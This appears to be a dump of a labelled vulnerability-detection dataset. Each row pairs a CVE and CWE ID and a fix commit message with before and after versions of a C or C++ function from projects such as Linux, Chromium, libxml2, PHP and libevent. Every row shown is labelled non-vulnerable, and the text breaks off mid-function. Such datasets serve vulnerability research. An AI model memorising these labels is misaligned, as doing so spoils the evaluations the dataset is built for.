CVE ID
stringlengths 13
43
⌀ | CVE Page
stringlengths 45
48
⌀ | CWE ID
stringclasses 90
values | codeLink
stringlengths 46
139
| commit_id
stringlengths 6
81
| commit_message
stringlengths 3
13.3k
⌀ | func_after
stringlengths 14
241k
| func_before
stringlengths 14
241k
| lang
stringclasses 3
values | project
stringclasses 309
values | vul
int8 0
1
|
|---|---|---|---|---|---|---|---|---|---|---|
CVE-2014-0131
|
https://www.cvedetails.com/cve/CVE-2014-0131/
|
CWE-416
|
https://github.com/torvalds/linux/commit/1fd819ecb90cc9b822cd84d3056ddba315d3340f
|
1fd819ecb90cc9b822cd84d3056ddba315d3340f
|
skbuff: skb_segment: orphan frags before copying
skb_segment copies frags around, so we need
to copy them carefully to avoid accessing
user memory after reporting completion to userspace
through a callback.
skb_segment doesn't normally happen on datapath:
TSO needs to be disabled - so disabling zero copy
in this case does not look like a big deal.
Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
Acked-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
struct sk_buff *skb_dequeue(struct sk_buff_head *list)
{
unsigned long flags;
struct sk_buff *result;
spin_lock_irqsave(&list->lock, flags);
result = __skb_dequeue(list);
spin_unlock_irqrestore(&list->lock, flags);
return result;
}
|
struct sk_buff *skb_dequeue(struct sk_buff_head *list)
{
unsigned long flags;
struct sk_buff *result;
spin_lock_irqsave(&list->lock, flags);
result = __skb_dequeue(list);
spin_unlock_irqrestore(&list->lock, flags);
return result;
}
|
C
|
linux
| 0 |
CVE-2018-12321
|
https://www.cvedetails.com/cve/CVE-2018-12321/
|
CWE-125
|
https://github.com/radare/radare2/commit/224e6bc13fa353dd3b7f7a2334588f1c4229e58d
|
224e6bc13fa353dd3b7f7a2334588f1c4229e58d
|
Fix #10296 - Heap out of bounds read in java_switch_op()
|
static int java_new_method (ut64 method_start) {
METHOD_START = method_start;
r_java_new_method ();
return 0;
}
|
static int java_new_method (ut64 method_start) {
METHOD_START = method_start;
r_java_new_method ();
return 0;
}
|
C
|
radare2
| 0 |
CVE-2012-2891
|
https://www.cvedetails.com/cve/CVE-2012-2891/
|
CWE-200
|
https://github.com/chromium/chromium/commit/116d0963cadfbf55ef2ec3d13781987c4d80517a
|
116d0963cadfbf55ef2ec3d13781987c4d80517a
|
Print preview: Use an ID instead of memory pointer string in WebUI.
BUG=144051
Review URL: https://chromiumcodereview.appspot.com/10870003
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@153342 0039d316-1c4b-4281-b951-d872f2087c98
|
PrintPreviewDataService::PrintPreviewDataService() {
}
|
PrintPreviewDataService::PrintPreviewDataService() {
}
|
C
|
Chrome
| 0 |
CVE-2019-10664
|
https://www.cvedetails.com/cve/CVE-2019-10664/
|
CWE-89
|
https://github.com/domoticz/domoticz/commit/ee70db46f81afa582c96b887b73bcd2a86feda00
|
ee70db46f81afa582c96b887b73bcd2a86feda00
|
Fixed possible SQL Injection Vulnerability (Thanks to Fabio Carretto!)
|
bool CWebServer::FindAdminUser()
{
for (const auto & itt : m_users)
{
if (itt.userrights == URIGHTS_ADMIN)
return true;
}
return false;
}
|
bool CWebServer::FindAdminUser()
{
for (const auto & itt : m_users)
{
if (itt.userrights == URIGHTS_ADMIN)
return true;
}
return false;
}
|
C
|
domoticz
| 0 |
CVE-2013-4205
|
https://www.cvedetails.com/cve/CVE-2013-4205/
|
CWE-399
|
https://github.com/torvalds/linux/commit/6160968cee8b90a5dd95318d716e31d7775c4ef3
|
6160968cee8b90a5dd95318d716e31d7775c4ef3
|
userns: unshare_userns(&cred) should not populate cred on failure
unshare_userns(new_cred) does *new_cred = prepare_creds() before
create_user_ns() which can fail. However, the caller expects that
it doesn't need to take care of new_cred if unshare_userns() fails.
We could change the single caller, sys_unshare(), but I think it
would be more clean to avoid the side effects on failure, so with
this patch unshare_userns() does put_cred() itself and initializes
*new_cred only if create_user_ns() succeeeds.
Cc: stable@vger.kernel.org
Signed-off-by: Oleg Nesterov <oleg@redhat.com>
Reviewed-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
|
static u32 map_id_up(struct uid_gid_map *map, u32 id)
{
unsigned idx, extents;
u32 first, last;
/* Find the matching extent */
extents = map->nr_extents;
smp_read_barrier_depends();
for (idx = 0; idx < extents; idx++) {
first = map->extent[idx].lower_first;
last = first + map->extent[idx].count - 1;
if (id >= first && id <= last)
break;
}
/* Map the id or note failure */
if (idx < extents)
id = (id - first) + map->extent[idx].first;
else
id = (u32) -1;
return id;
}
|
static u32 map_id_up(struct uid_gid_map *map, u32 id)
{
unsigned idx, extents;
u32 first, last;
/* Find the matching extent */
extents = map->nr_extents;
smp_read_barrier_depends();
for (idx = 0; idx < extents; idx++) {
first = map->extent[idx].lower_first;
last = first + map->extent[idx].count - 1;
if (id >= first && id <= last)
break;
}
/* Map the id or note failure */
if (idx < extents)
id = (id - first) + map->extent[idx].first;
else
id = (u32) -1;
return id;
}
|
C
|
linux
| 0 |
CVE-2006-4192
|
https://www.cvedetails.com/cve/CVE-2006-4192/
| null |
https://cgit.freedesktop.org/gstreamer/gst-plugins-bad/commit/?id=bc2cdd57d549ab3ba59782e9b395d0cd683fd3ac
|
bc2cdd57d549ab3ba59782e9b395d0cd683fd3ac
| null |
UINT CSoundFile::DetectUnusedSamples(BOOL *pbIns)
{
UINT nExt = 0;
if (!pbIns) return 0;
if (m_nInstruments)
{
memset(pbIns, 0, MAX_SAMPLES * sizeof(BOOL));
for (UINT ipat=0; ipat<MAX_PATTERNS; ipat++)
{
MODCOMMAND *p = Patterns[ipat];
if (p)
{
UINT jmax = PatternSize[ipat] * m_nChannels;
for (UINT j=0; j<jmax; j++, p++)
{
if ((p->note) && (p->note <= 120))
{
if ((p->instr) && (p->instr < MAX_INSTRUMENTS))
{
INSTRUMENTHEADER *penv = Headers[p->instr];
if (penv)
{
UINT n = penv->Keyboard[p->note-1];
if (n < MAX_SAMPLES) pbIns[n] = TRUE;
}
} else
{
for (UINT k=1; k<=m_nInstruments; k++)
{
INSTRUMENTHEADER *penv = Headers[k];
if (penv)
{
UINT n = penv->Keyboard[p->note-1];
if (n < MAX_SAMPLES) pbIns[n] = TRUE;
}
}
}
}
}
}
}
for (UINT ichk=1; ichk<=m_nSamples; ichk++)
{
if ((!pbIns[ichk]) && (Ins[ichk].pSample)) nExt++;
}
}
return nExt;
}
|
UINT CSoundFile::DetectUnusedSamples(BOOL *pbIns)
{
UINT nExt = 0;
if (!pbIns) return 0;
if (m_nInstruments)
{
memset(pbIns, 0, MAX_SAMPLES * sizeof(BOOL));
for (UINT ipat=0; ipat<MAX_PATTERNS; ipat++)
{
MODCOMMAND *p = Patterns[ipat];
if (p)
{
UINT jmax = PatternSize[ipat] * m_nChannels;
for (UINT j=0; j<jmax; j++, p++)
{
if ((p->note) && (p->note <= 120))
{
if ((p->instr) && (p->instr < MAX_INSTRUMENTS))
{
INSTRUMENTHEADER *penv = Headers[p->instr];
if (penv)
{
UINT n = penv->Keyboard[p->note-1];
if (n < MAX_SAMPLES) pbIns[n] = TRUE;
}
} else
{
for (UINT k=1; k<=m_nInstruments; k++)
{
INSTRUMENTHEADER *penv = Headers[k];
if (penv)
{
UINT n = penv->Keyboard[p->note-1];
if (n < MAX_SAMPLES) pbIns[n] = TRUE;
}
}
}
}
}
}
}
for (UINT ichk=1; ichk<=m_nSamples; ichk++)
{
if ((!pbIns[ichk]) && (Ins[ichk].pSample)) nExt++;
}
}
return nExt;
}
|
CPP
|
gstreamer
| 0 |
CVE-2014-9427
|
https://www.cvedetails.com/cve/CVE-2014-9427/
|
CWE-119
|
https://git.php.net/?p=php-src.git;a=commit;h=f9ad3086693fce680fbe246e4a45aa92edd2ac35
|
f9ad3086693fce680fbe246e4a45aa92edd2ac35
| null |
static PHP_MINFO_FUNCTION(cgi)
{
DISPLAY_INI_ENTRIES();
}
|
static PHP_MINFO_FUNCTION(cgi)
{
DISPLAY_INI_ENTRIES();
}
|
C
|
php
| 0 |
CVE-2016-5219
|
https://www.cvedetails.com/cve/CVE-2016-5219/
|
CWE-416
|
https://github.com/chromium/chromium/commit/a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
a4150b688a754d3d10d2ca385155b1c95d77d6ae
|
Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
|
void GLES2DecoderImpl::DoUniformMatrix2x4fv(GLint fake_location,
GLsizei count,
GLboolean transpose,
const volatile GLfloat* value) {
GLenum type = 0;
GLint real_location = -1;
if (!PrepForSetUniformByLocation(fake_location,
"glUniformMatrix2x4fv",
Program::kUniformMatrix2x4f,
&real_location,
&type,
&count)) {
return;
}
api()->glUniformMatrix2x4fvFn(real_location, count, transpose,
const_cast<const GLfloat*>(value));
}
|
void GLES2DecoderImpl::DoUniformMatrix2x4fv(GLint fake_location,
GLsizei count,
GLboolean transpose,
const volatile GLfloat* value) {
GLenum type = 0;
GLint real_location = -1;
if (!PrepForSetUniformByLocation(fake_location,
"glUniformMatrix2x4fv",
Program::kUniformMatrix2x4f,
&real_location,
&type,
&count)) {
return;
}
api()->glUniformMatrix2x4fvFn(real_location, count, transpose,
const_cast<const GLfloat*>(value));
}
|
C
|
Chrome
| 0 |
CVE-2011-0716
|
https://www.cvedetails.com/cve/CVE-2011-0716/
|
CWE-399
|
https://github.com/torvalds/linux/commit/6b0d6a9b4296fa16a28d10d416db7a770fc03287
|
6b0d6a9b4296fa16a28d10d416db7a770fc03287
|
bridge: Fix mglist corruption that leads to memory corruption
The list mp->mglist is used to indicate whether a multicast group
is active on the bridge interface itself as opposed to one of the
constituent interfaces in the bridge.
Unfortunately the operation that adds the mp->mglist node to the
list neglected to check whether it has already been added. This
leads to list corruption in the form of nodes pointing to itself.
Normally this would be quite obvious as it would cause an infinite
loop when walking the list. However, as this list is never actually
walked (which means that we don't really need it, I'll get rid of
it in a subsequent patch), this instead is hidden until we perform
a delete operation on the affected nodes.
As the same node may now be pointed to by more than one node, the
delete operations can then cause modification of freed memory.
This was observed in practice to cause corruption in 512-byte slabs,
most commonly leading to crashes in jbd2.
Thanks to Josef Bacik for pointing me in the right direction.
Reported-by: Ian Page Hands <ihands@redhat.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
|
static struct sk_buff *br_multicast_alloc_query(struct net_bridge *br,
struct br_ip *addr)
{
switch (addr->proto) {
case htons(ETH_P_IP):
return br_ip4_multicast_alloc_query(br, addr->u.ip4);
#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
case htons(ETH_P_IPV6):
return br_ip6_multicast_alloc_query(br, &addr->u.ip6);
#endif
}
return NULL;
}
|
static struct sk_buff *br_multicast_alloc_query(struct net_bridge *br,
struct br_ip *addr)
{
switch (addr->proto) {
case htons(ETH_P_IP):
return br_ip4_multicast_alloc_query(br, addr->u.ip4);
#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE)
case htons(ETH_P_IPV6):
return br_ip6_multicast_alloc_query(br, &addr->u.ip6);
#endif
}
return NULL;
}
|
C
|
linux
| 0 |
CVE-2011-4621
|
https://www.cvedetails.com/cve/CVE-2011-4621/
| null |
https://github.com/torvalds/linux/commit/f26f9aff6aaf67e9a430d16c266f91b13a5bff64
|
f26f9aff6aaf67e9a430d16c266f91b13a5bff64
|
Sched: fix skip_clock_update optimization
idle_balance() drops/retakes rq->lock, leaving the previous task
vulnerable to set_tsk_need_resched(). Clear it after we return
from balancing instead, and in setup_thread_stack() as well, so
no successfully descheduled or never scheduled task has it set.
Need resched confused the skip_clock_update logic, which assumes
that the next call to update_rq_clock() will come nearly immediately
after being set. Make the optimization robust against the waking
a sleeper before it sucessfully deschedules case by checking that
the current task has not been dequeued before setting the flag,
since it is that useless clock update we're trying to save, and
clear unconditionally in schedule() proper instead of conditionally
in put_prev_task().
Signed-off-by: Mike Galbraith <efault@gmx.de>
Reported-by: Bjoern B. Brandenburg <bbb.lst@gmail.com>
Tested-by: Yong Zhang <yong.zhang0@gmail.com>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: stable@kernel.org
LKML-Reference: <1291802742.1417.9.camel@marge.simson.net>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
|
wait_for_completion_timeout(struct completion *x, unsigned long timeout)
{
return wait_for_common(x, timeout, TASK_UNINTERRUPTIBLE);
}
|
wait_for_completion_timeout(struct completion *x, unsigned long timeout)
{
return wait_for_common(x, timeout, TASK_UNINTERRUPTIBLE);
}
|
C
|
linux
| 0 |
CVE-2017-16932
|
https://www.cvedetails.com/cve/CVE-2017-16932/
|
CWE-835
|
https://github.com/GNOME/libxml2/commit/899a5d9f0ed13b8e32449a08a361e0de127dd961
|
899a5d9f0ed13b8e32449a08a361e0de127dd961
|
Detect infinite recursion in parameter entities
When expanding a parameter entity in a DTD, infinite recursion could
lead to an infinite loop or memory exhaustion.
Thanks to Wei Lei for the first of many reports.
Fixes bug 759579.
|
xmlParseTextDecl(xmlParserCtxtPtr ctxt) {
xmlChar *version;
const xmlChar *encoding;
/*
* We know that '<?xml' is here.
*/
if ((CMP5(CUR_PTR, '<', '?', 'x', 'm', 'l')) && (IS_BLANK_CH(NXT(5)))) {
SKIP(5);
} else {
xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_STARTED, NULL);
return;
}
if (SKIP_BLANKS == 0) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space needed after '<?xml'\n");
}
/*
* We may have the VersionInfo here.
*/
version = xmlParseVersionInfo(ctxt);
if (version == NULL)
version = xmlCharStrdup(XML_DEFAULT_VERSION);
else {
if (SKIP_BLANKS == 0) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space needed here\n");
}
}
ctxt->input->version = version;
/*
* We must have the encoding declaration
*/
encoding = xmlParseEncodingDecl(ctxt);
if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) {
/*
* The XML REC instructs us to stop parsing right here
*/
return;
}
if ((encoding == NULL) && (ctxt->errNo == XML_ERR_OK)) {
xmlFatalErrMsg(ctxt, XML_ERR_MISSING_ENCODING,
"Missing encoding in text declaration\n");
}
SKIP_BLANKS;
if ((RAW == '?') && (NXT(1) == '>')) {
SKIP(2);
} else if (RAW == '>') {
/* Deprecated old WD ... */
xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL);
NEXT;
} else {
xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL);
MOVETO_ENDTAG(CUR_PTR);
NEXT;
}
}
|
xmlParseTextDecl(xmlParserCtxtPtr ctxt) {
xmlChar *version;
const xmlChar *encoding;
/*
* We know that '<?xml' is here.
*/
if ((CMP5(CUR_PTR, '<', '?', 'x', 'm', 'l')) && (IS_BLANK_CH(NXT(5)))) {
SKIP(5);
} else {
xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_STARTED, NULL);
return;
}
if (SKIP_BLANKS == 0) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space needed after '<?xml'\n");
}
/*
* We may have the VersionInfo here.
*/
version = xmlParseVersionInfo(ctxt);
if (version == NULL)
version = xmlCharStrdup(XML_DEFAULT_VERSION);
else {
if (SKIP_BLANKS == 0) {
xmlFatalErrMsg(ctxt, XML_ERR_SPACE_REQUIRED,
"Space needed here\n");
}
}
ctxt->input->version = version;
/*
* We must have the encoding declaration
*/
encoding = xmlParseEncodingDecl(ctxt);
if (ctxt->errNo == XML_ERR_UNSUPPORTED_ENCODING) {
/*
* The XML REC instructs us to stop parsing right here
*/
return;
}
if ((encoding == NULL) && (ctxt->errNo == XML_ERR_OK)) {
xmlFatalErrMsg(ctxt, XML_ERR_MISSING_ENCODING,
"Missing encoding in text declaration\n");
}
SKIP_BLANKS;
if ((RAW == '?') && (NXT(1) == '>')) {
SKIP(2);
} else if (RAW == '>') {
/* Deprecated old WD ... */
xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL);
NEXT;
} else {
xmlFatalErr(ctxt, XML_ERR_XMLDECL_NOT_FINISHED, NULL);
MOVETO_ENDTAG(CUR_PTR);
NEXT;
}
}
|
C
|
libxml2
| 0 |
CVE-2011-2789
|
https://www.cvedetails.com/cve/CVE-2011-2789/
|
CWE-399
|
https://github.com/chromium/chromium/commit/55ef04e135edaa9abfbf3647634b11ed57dc49e9
|
55ef04e135edaa9abfbf3647634b11ed57dc49e9
|
Maintain a map of all resources in the resource tracker and clear instance back pointers when needed,
BUG=85808
Review URL: http://codereview.chromium.org/7196001
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@89746 0039d316-1c4b-4281-b951-d872f2087c98
|
PP_Bool PPB_URLLoader_Impl::GetUploadProgress(int64_t* bytes_sent,
int64_t* total_bytes_to_be_sent) {
if (!RecordUploadProgress()) {
*bytes_sent = 0;
*total_bytes_to_be_sent = 0;
return PP_FALSE;
}
*bytes_sent = bytes_sent_;
*total_bytes_to_be_sent = total_bytes_to_be_sent_;
return PP_TRUE;
}
|
PP_Bool PPB_URLLoader_Impl::GetUploadProgress(int64_t* bytes_sent,
int64_t* total_bytes_to_be_sent) {
if (!RecordUploadProgress()) {
*bytes_sent = 0;
*total_bytes_to_be_sent = 0;
return PP_FALSE;
}
*bytes_sent = bytes_sent_;
*total_bytes_to_be_sent = total_bytes_to_be_sent_;
return PP_TRUE;
}
|
C
|
Chrome
| 0 |
CVE-2014-3515
|
https://www.cvedetails.com/cve/CVE-2014-3515/
| null |
https://git.php.net/?p=php-src.git;a=commit;h=88223c5245e9b470e1e6362bfd96829562ffe6ab
|
88223c5245e9b470e1e6362bfd96829562ffe6ab
| null |
SPL_METHOD(SplObjectStorage, serialize)
{
spl_SplObjectStorage *intern = (spl_SplObjectStorage*)zend_object_store_get_object(getThis() TSRMLS_CC);
spl_SplObjectStorageElement *element;
zval members, *pmembers, *flags;
HashPosition pos;
php_serialize_data_t var_hash;
smart_str buf = {0};
if (zend_parse_parameters_none() == FAILURE) {
return;
}
PHP_VAR_SERIALIZE_INIT(var_hash);
/* storage */
smart_str_appendl(&buf, "x:", 2);
MAKE_STD_ZVAL(flags);
ZVAL_LONG(flags, zend_hash_num_elements(&intern->storage));
php_var_serialize(&buf, &flags, &var_hash TSRMLS_CC);
zval_ptr_dtor(&flags);
zend_hash_internal_pointer_reset_ex(&intern->storage, &pos);
while(zend_hash_has_more_elements_ex(&intern->storage, &pos) == SUCCESS) {
if (zend_hash_get_current_data_ex(&intern->storage, (void**)&element, &pos) == FAILURE) {
smart_str_free(&buf);
PHP_VAR_SERIALIZE_DESTROY(var_hash);
RETURN_NULL();
}
php_var_serialize(&buf, &element->obj, &var_hash TSRMLS_CC);
smart_str_appendc(&buf, ',');
php_var_serialize(&buf, &element->inf, &var_hash TSRMLS_CC);
smart_str_appendc(&buf, ';');
zend_hash_move_forward_ex(&intern->storage, &pos);
}
/* members */
smart_str_appendl(&buf, "m:", 2);
INIT_PZVAL(&members);
Z_ARRVAL(members) = zend_std_get_properties(getThis() TSRMLS_CC);
Z_TYPE(members) = IS_ARRAY;
pmembers = &members;
php_var_serialize(&buf, &pmembers, &var_hash TSRMLS_CC); /* finishes the string */
/* done */
PHP_VAR_SERIALIZE_DESTROY(var_hash);
if (buf.c) {
RETURN_STRINGL(buf.c, buf.len, 0);
} else {
RETURN_NULL();
}
} /* }}} */
/* {{{ proto void SplObjectStorage::unserialize(string serialized)
|
SPL_METHOD(SplObjectStorage, serialize)
{
spl_SplObjectStorage *intern = (spl_SplObjectStorage*)zend_object_store_get_object(getThis() TSRMLS_CC);
spl_SplObjectStorageElement *element;
zval members, *pmembers, *flags;
HashPosition pos;
php_serialize_data_t var_hash;
smart_str buf = {0};
if (zend_parse_parameters_none() == FAILURE) {
return;
}
PHP_VAR_SERIALIZE_INIT(var_hash);
/* storage */
smart_str_appendl(&buf, "x:", 2);
MAKE_STD_ZVAL(flags);
ZVAL_LONG(flags, zend_hash_num_elements(&intern->storage));
php_var_serialize(&buf, &flags, &var_hash TSRMLS_CC);
zval_ptr_dtor(&flags);
zend_hash_internal_pointer_reset_ex(&intern->storage, &pos);
while(zend_hash_has_more_elements_ex(&intern->storage, &pos) == SUCCESS) {
if (zend_hash_get_current_data_ex(&intern->storage, (void**)&element, &pos) == FAILURE) {
smart_str_free(&buf);
PHP_VAR_SERIALIZE_DESTROY(var_hash);
RETURN_NULL();
}
php_var_serialize(&buf, &element->obj, &var_hash TSRMLS_CC);
smart_str_appendc(&buf, ',');
php_var_serialize(&buf, &element->inf, &var_hash TSRMLS_CC);
smart_str_appendc(&buf, ';');
zend_hash_move_forward_ex(&intern->storage, &pos);
}
/* members */
smart_str_appendl(&buf, "m:", 2);
INIT_PZVAL(&members);
Z_ARRVAL(members) = zend_std_get_properties(getThis() TSRMLS_CC);
Z_TYPE(members) = IS_ARRAY;
pmembers = &members;
php_var_serialize(&buf, &pmembers, &var_hash TSRMLS_CC); /* finishes the string */
/* done */
PHP_VAR_SERIALIZE_DESTROY(var_hash);
if (buf.c) {
RETURN_STRINGL(buf.c, buf.len, 0);
} else {
RETURN_NULL();
}
} /* }}} */
/* {{{ proto void SplObjectStorage::unserialize(string serialized)
|
C
|
php
| 0 |
CVE-2019-16910
|
https://www.cvedetails.com/cve/CVE-2019-16910/
|
CWE-200
|
https://github.com/ARMmbed/mbedtls/commit/33f66ba6fd234114aa37f0209dac031bb2870a9b
|
33f66ba6fd234114aa37f0209dac031bb2870a9b
|
Merge remote-tracking branch 'upstream-restricted/pr/556' into mbedtls-2.16-restricted
|
void mbedtls_ecdsa_restart_free( mbedtls_ecdsa_restart_ctx *ctx )
{
if( ctx == NULL )
return;
mbedtls_ecp_restart_free( &ctx->ecp );
ecdsa_restart_ver_free( ctx->ver );
mbedtls_free( ctx->ver );
ctx->ver = NULL;
ecdsa_restart_sig_free( ctx->sig );
mbedtls_free( ctx->sig );
ctx->sig = NULL;
#if defined(MBEDTLS_ECDSA_DETERMINISTIC)
ecdsa_restart_det_free( ctx->det );
mbedtls_free( ctx->det );
ctx->det = NULL;
#endif
}
|
void mbedtls_ecdsa_restart_free( mbedtls_ecdsa_restart_ctx *ctx )
{
if( ctx == NULL )
return;
mbedtls_ecp_restart_free( &ctx->ecp );
ecdsa_restart_ver_free( ctx->ver );
mbedtls_free( ctx->ver );
ctx->ver = NULL;
ecdsa_restart_sig_free( ctx->sig );
mbedtls_free( ctx->sig );
ctx->sig = NULL;
#if defined(MBEDTLS_ECDSA_DETERMINISTIC)
ecdsa_restart_det_free( ctx->det );
mbedtls_free( ctx->det );
ctx->det = NULL;
#endif
}
|
C
|
mbedtls
| 0 |
CVE-2009-1194
|
https://www.cvedetails.com/cve/CVE-2009-1194/
|
CWE-189
|
https://github.com/bratsche/pango/commit/4de30e5500eaeb49f4bf0b7a07f718e149a2ed5e
|
4de30e5500eaeb49f4bf0b7a07f718e149a2ed5e
|
[glyphstring] Handle overflow with very long glyphstrings
|
pango_glyph_string_extents (PangoGlyphString *glyphs,
PangoFont *font,
PangoRectangle *ink_rect,
PangoRectangle *logical_rect)
{
pango_glyph_string_extents_range (glyphs, 0, glyphs->num_glyphs,
font, ink_rect, logical_rect);
}
|
pango_glyph_string_extents (PangoGlyphString *glyphs,
PangoFont *font,
PangoRectangle *ink_rect,
PangoRectangle *logical_rect)
{
pango_glyph_string_extents_range (glyphs, 0, glyphs->num_glyphs,
font, ink_rect, logical_rect);
}
|
C
|
pango
| 0 |
CVE-2012-2888
|
https://www.cvedetails.com/cve/CVE-2012-2888/
|
CWE-399
|
https://github.com/chromium/chromium/commit/3b0d77670a0613f409110817455d2137576b485a
|
3b0d77670a0613f409110817455d2137576b485a
|
Revert 143656 - Add an IPC channel between the NaCl loader process and the renderer.
BUG=116317
TEST=ppapi, nacl tests, manual testing for experimental IPC proxy.
Review URL: https://chromiumcodereview.appspot.com/10641016
TBR=bbudge@chromium.org
Review URL: https://chromiumcodereview.appspot.com/10625007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@143665 0039d316-1c4b-4281-b951-d872f2087c98
|
bool NaClProcessHost::AttachDebugExceptionHandler(const std::string& info,
IPC::Message* reply_msg) {
if (!enable_exception_handling_) {
DLOG(ERROR) <<
"Exception handling requested by NaCl process when not enabled";
return false;
}
if (debug_exception_handler_requested_) {
DLOG(ERROR) << "Multiple AttachDebugExceptionHandler requests received";
return false;
}
debug_exception_handler_requested_ = true;
base::ProcessId nacl_pid = base::GetProcId(process_->GetData().handle);
base::win::ScopedHandle process_handle;
if (!base::OpenProcessHandleWithAccess(
nacl_pid,
base::kProcessAccessQueryInformation |
base::kProcessAccessSuspendResume |
base::kProcessAccessTerminate |
base::kProcessAccessVMOperation |
base::kProcessAccessVMRead |
base::kProcessAccessVMWrite |
base::kProcessAccessWaitForTermination,
process_handle.Receive())) {
LOG(ERROR) << "Failed to get process handle";
return false;
}
attach_debug_exception_handler_reply_msg_.reset(reply_msg);
if (RunningOnWOW64()) {
return NaClBrokerService::GetInstance()->LaunchDebugExceptionHandler(
weak_factory_.GetWeakPtr(), nacl_pid, process_handle, info);
} else {
NaClStartDebugExceptionHandlerThread(
process_handle.Take(), info,
base::MessageLoopProxy::current(),
base::Bind(&NaClProcessHost::OnDebugExceptionHandlerLaunchedByBroker,
weak_factory_.GetWeakPtr()));
return true;
}
}
|
bool NaClProcessHost::AttachDebugExceptionHandler(const std::string& info,
IPC::Message* reply_msg) {
if (!enable_exception_handling_) {
DLOG(ERROR) <<
"Exception handling requested by NaCl process when not enabled";
return false;
}
if (debug_exception_handler_requested_) {
DLOG(ERROR) << "Multiple AttachDebugExceptionHandler requests received";
return false;
}
debug_exception_handler_requested_ = true;
base::ProcessId nacl_pid = base::GetProcId(process_->GetData().handle);
base::win::ScopedHandle process_handle;
if (!base::OpenProcessHandleWithAccess(
nacl_pid,
base::kProcessAccessQueryInformation |
base::kProcessAccessSuspendResume |
base::kProcessAccessTerminate |
base::kProcessAccessVMOperation |
base::kProcessAccessVMRead |
base::kProcessAccessVMWrite |
base::kProcessAccessWaitForTermination,
process_handle.Receive())) {
LOG(ERROR) << "Failed to get process handle";
return false;
}
attach_debug_exception_handler_reply_msg_.reset(reply_msg);
if (RunningOnWOW64()) {
return NaClBrokerService::GetInstance()->LaunchDebugExceptionHandler(
weak_factory_.GetWeakPtr(), nacl_pid, process_handle, info);
} else {
NaClStartDebugExceptionHandlerThread(
process_handle.Take(), info,
base::MessageLoopProxy::current(),
base::Bind(&NaClProcessHost::OnDebugExceptionHandlerLaunchedByBroker,
weak_factory_.GetWeakPtr()));
return true;
}
}
|
C
|
Chrome
| 0 |
CVE-2016-10197
|
https://www.cvedetails.com/cve/CVE-2016-10197/
|
CWE-125
|
https://github.com/libevent/libevent/commit/ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
|
ec65c42052d95d2c23d1d837136d1cf1d9ecef9e
|
evdns: fix searching empty hostnames
From #332:
Here follows a bug report by **Guido Vranken** via the _Tor bug bounty program_. Please credit Guido accordingly.
## Bug report
The DNS code of Libevent contains this rather obvious OOB read:
```c
static char *
search_make_new(const struct search_state *const state, int n, const char *const base_name) {
const size_t base_len = strlen(base_name);
const char need_to_append_dot = base_name[base_len - 1] == '.' ? 0 : 1;
```
If the length of ```base_name``` is 0, then line 3125 reads 1 byte before the buffer. This will trigger a crash on ASAN-protected builds.
To reproduce:
Build libevent with ASAN:
```
$ CFLAGS='-fomit-frame-pointer -fsanitize=address' ./configure && make -j4
```
Put the attached ```resolv.conf``` and ```poc.c``` in the source directory and then do:
```
$ gcc -fsanitize=address -fomit-frame-pointer poc.c .libs/libevent.a
$ ./a.out
=================================================================
==22201== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060000efdf at pc 0x4429da bp 0x7ffe1ed47300 sp 0x7ffe1ed472f8
READ of size 1 at 0x60060000efdf thread T0
```
P.S. we can add a check earlier, but since this is very uncommon, I didn't add it.
Fixes: #332
|
evdns_get_default_hosts_filename(void)
{
#ifdef _WIN32
/* Windows is a little coy about where it puts its configuration
* files. Sure, they're _usually_ in C:\windows\system32, but
* there's no reason in principle they couldn't be in
* W:\hoboken chicken emergency\
*/
char path[MAX_PATH+1];
static const char hostfile[] = "\\drivers\\etc\\hosts";
char *path_out;
size_t len_out;
if (! SHGetSpecialFolderPathA(NULL, path, CSIDL_SYSTEM, 0))
return NULL;
len_out = strlen(path)+strlen(hostfile)+1;
path_out = mm_malloc(len_out);
evutil_snprintf(path_out, len_out, "%s%s", path, hostfile);
return path_out;
#else
return mm_strdup("/etc/hosts");
#endif
}
|
evdns_get_default_hosts_filename(void)
{
#ifdef _WIN32
/* Windows is a little coy about where it puts its configuration
* files. Sure, they're _usually_ in C:\windows\system32, but
* there's no reason in principle they couldn't be in
* W:\hoboken chicken emergency\
*/
char path[MAX_PATH+1];
static const char hostfile[] = "\\drivers\\etc\\hosts";
char *path_out;
size_t len_out;
if (! SHGetSpecialFolderPathA(NULL, path, CSIDL_SYSTEM, 0))
return NULL;
